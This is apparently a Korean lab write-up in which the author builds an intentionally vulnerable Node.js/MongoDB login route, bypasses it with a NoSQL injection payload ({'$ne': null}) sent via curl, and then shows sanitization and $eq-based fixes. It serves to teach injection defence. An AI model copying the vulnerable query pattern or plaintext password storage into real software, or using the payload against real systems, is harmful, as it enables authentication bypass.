개요, 목적

  • NoSQL인젝션이 가능한 Node.js 앱을 만들어본다.
  • 어떤 코드가 취약한지 어떻게 하면 방어할 수 있는지 알아본다.

실습환경 준비

필요한 패키지 인스톨

npm init -y
npm i express mongoose nodemon dotenv

웹 어플리케이션 코드 (app.js) 작성

프로젝트 루트에 코드를 작성한다. app.js를 다음과 같이 작성한다.

require('dotenv').config();

const express = require('express');
const mongoose = require('mongoose');
const mongoSanitize = require('express-mongo-sanitize');
const routes = require('./routes.js');

const app = express();

app.use(express.json());

app.use(routes);

mongoose
  .connect(process.env.MONGODB_URI)
  .then(() => {
    console.log('Mongoose connected 🍃');
    app.listen(3000, () => {
      console.log('Server is up and running 🚀');
    });
  })
  .catch((error) => {
    console.log(error);
  });

DB 핸들링 코드 (user.model.js) 작성

user.model.js를 다음과 같이 작성한다.

const mongoose = require('mongoose');

const userSchema = new mongoose.Schema({
  username: {
    type: String,
    unique: true,
  },
  password: {
    type: String,
    unique: true,
  },
});

const User = mongoose.model('User', userSchema);

module.exports = User;

웹 패스 핸들링 코드(routes.js) 작성

routes.js를 다음과 같이 작성한다.

const express = require('express');

const User = require('./user.model');

const router = express.Router();

router.get('/users', async (req, res, next) => {
  return res.json({
    users: await User.find({}).exec(),
  });
});

router.post('/login', async (req, res, next) => {
  const { username, password } = req.body;

  try{
    const user = await User.findOne({ username, password }).exec();
    if(user){
      res.json({
        message: `Logged in as ${user.username}`,
      });
    }else{
      res.json({
        message: `The username or password is incorrect.`,
      });
    }
    
  }
  catch(error){
    console.log(error);
    res.statusCode = 500;
    res.end(error + "");
    
  }
  
});

module.exports = router;

DB구성

MongoDB에서 사용하고자 하는 DB를 작성한다. 나는 local DB에 users라는 컬렉션을 생성하고 몇 개의 유저정보를 삽입하였다.

.env작성

.env를 작성한다. 환경에 맞게 적절히 변경한다.

MONGODB_URI=mongodb://localhost:27017/local

package.json에 dev script추가

package.json의 scripts 에 dev를 추가한다. dev를 지정해줄 시 nodemon app.js가 실행된다. (nodemon은 소스코드 수정을 모니터링해준다. 소스코드 수정할 시 바로바로 적용해준다. 서버를 일일히 재구동할 필요가 없어서 편리하다.)

{
  "name": "nosqli_nodejs",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "dev": "nodemon app.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "dependencies": {
    "express": "^4.18.2",
    "express-mongo-sanitize": "^2.2.0",
    "mongoose": "^7.6.3"
  },
  "devDependencies": {
    "dotenv": "^16.3.1",
    "nodemon": "^3.0.1"
  }
}

서버 구동

npm run dev
Mongoose connected 🍃
Server is up and running 🚀

로그인 테스트

  • 로그인을 테스트해본다. curl을 사용해서 Burp Suite로 캡쳐한다.
  • PC의 hosts파일을 수정해서 my-unsafeweb.com이 127.0.0.1로 연결되도록 DNS설정을 해둔다. (타겟 주소를 localhost로 하면 Burp Suite가 캡쳐를 하지 못한다.)
curl -X POST http://my-unsafeweb.com:3000/login -d '{"username":"moon", "password":"12345"}' -H "Content-Type: application/json" -x http://localhost:8080

Burp Suite에서 캡쳐한 HTTP 요청이다.

POST /login HTTP/1.1
Host: my-unsafeweb.com:3000
User-Agent: curl/8.0.1
Accept: */*
Content-Type: application/json
Content-Length: 39
Connection: close

{"username":"moon", "password":"12345"}

HTTP응답. 로그인에 성공했다.

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 31
ETag: W/"1f-rvRDfuLuahQ9mLO31qUiKaMtBqs"
Date: Tue, 24 Oct 2023 05:13:33 GMT
Connection: close

{"message":"Logged in as moon"}

공격 실습 💉

패스워드에 오퍼레이터를 사용한다. { "$ne": null }를 사용해서 null이 아닌 조건을 사용했다.

curl -X POST http://my-unsafeweb.com:3000/login -d '{"username":"moon", "password": { "$ne": null }}' -H "Content-Type: application/json" -x http://localhost:8080
POST /login HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/json
Content-Length: 64
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1


{
    "username": "moon",
    "password": { "$ne": null }
}

로그인이 된다! 😮 이 것으로 NoSQL 인젝션이 가능한 것을 알았다.

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 31
ETag: W/"1f-rvRDfuLuahQ9mLO31qUiKaMtBqs"
Date: Mon, 23 Oct 2023 01:49:26 GMT
Connection: close

{"message":"Logged in as moon"}

방어 실습 🛡🧰

새니타이즈를 사용한 방어

  1. mongoSanitize를 설치한다.
npm i express-mongo-sanitize
  1. app.js의 코드를 다음과같이 개선한다.
    • mongoSanitize를 추가하여 요청 파라메터 새니타이즈를 구현하였다.
require('dotenv').config();

const express = require('express');
const mongoose = require('mongoose');
const mongoSanitize = require('express-mongo-sanitize');
const routes = require('./routes.js');

const app = express();

app.use(express.json());

//app.use(routes); // 취약한 코드 

app.use(
    mongoSanitize({
      onSanitize: ({ req, key}) => {
        console.log(key);
      },
    }),
    routes
);

mongoose
  .connect(process.env.MONGODB_URI)
  .then(() => {
    console.log('Mongoose connected 🍃');
    app.listen(3000, () => {
      console.log('Server is up and running 🚀');
    });
  })
  .catch((error) => {
    console.log(error);
  });

그러면 {"username": "moon","password": { "$ne": null }} 와 같은 페이로드를 송신했을 때 다음과 같이 UnhandledPromiseRejectionWarning: CastError 에러 메세지를 출력하면서 로그인이 되지 않는다. 서버측으로부터는 응답이 오지 않는다. (=> 뭔가 에러를 핸들링한 후에 다시 리다이렉트 시킨더가 하는 코드가 필요하다. )

body
(node:18492) UnhandledPromiseRejectionWarning: CastError: Cast to string failed for value "{}" (type Object) at path "password" for model "User"
...  

Parameterized Query를 사용한 방어

  • MongoDB에서 Parameterized Query란 미리 오퍼레이터가 정의된 쿼리를 의미하는 것 같다.
  • 예를들어 routes.js의 로그인부분 코드가 다음과 같이 되어 있는 경우다.
  • username과 password에 이미 $eq 오퍼레이터가 들어가 있다.
const express = require('express');

const User = require('./user.model');

const router = express.Router();

router.get('/users', async (req, res, next) => {
  return res.json({
    users: await User.find({}).exec(),
  });
});

router.post('/login', async (req, res, next) => {
  const { username, password } = req.body;

  try{
    // const user = await User.findOne({ username, password }).exec();
    // Parameterized Query를 사용한 방어 
    const user = await User.findOne({ username: {$eq: username}, password: { $eq: password } }).exec();
    if(user){
      res.json({
        message: `Logged in as ${user.username}!~`,
      });
    }else{
      res.json({
        message: `The username or password is incorrect.`,
      });
    }
    
  }
  catch(error){
    console.log(error);
    res.statusCode = 500;
    res.end(error + "");
    
  }
  
});

module.exports = router;
});

{"username": "moon","password": { "$ne": null }} 을 보내보면 다음과 같은 에러가 발생한다.

(node:18748) UnhandledPromiseRejectionWarning: CastError: Cast to string failed for value "{ '$ne': null }" (type Object) at path "password" for model "User"
...

궁금점

Javascript 인젝션에 대해서

  • NoSQL인젝션 수행시에 어떻게 Javascript코드 인젝션도 가능한가? (왜 MongoDB에서 javascript 코드를 평가하는가?)

새니타이즈이외의 다른 방어수단은?

  • 새니타이즈 이외의 방어수단은 없는가? 예를들어 일반적인 SQL인젝션처럼 바인드 기구(Prepared Statement)를 사용하는 등의 방법은 없는가? [여기][https://ritikchourasiya.medium.com/preventing-mongodb-nosql-injection-attacks-securing-your-node-js-56215ef7455]를 보면 NoSQL인젝션 방어방법으로 새니타이즈와 더블어 Prepared Statement 또는 Parameterized Query를 소개하고 있다. Prepared Statement에 대해서는 검색해봐도 정보가 나오지 않는다. 아마도 MongoDB에는 Prepared Statement가 존재하지 않는 것 같다.

참고

  • https://berkegokmen1.medium.com/your-nodejs-app-is-probably-vulnerable-to-nosql-injection-attacks-69e6acba7b65
  • https://www.npmjs.com/package/express-mongo-sanitize
  • https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf
  • https://ritikchourasiya.medium.com/preventing-mongodb-nosql-injection-attacks-securing-your-node-js-56215ef7455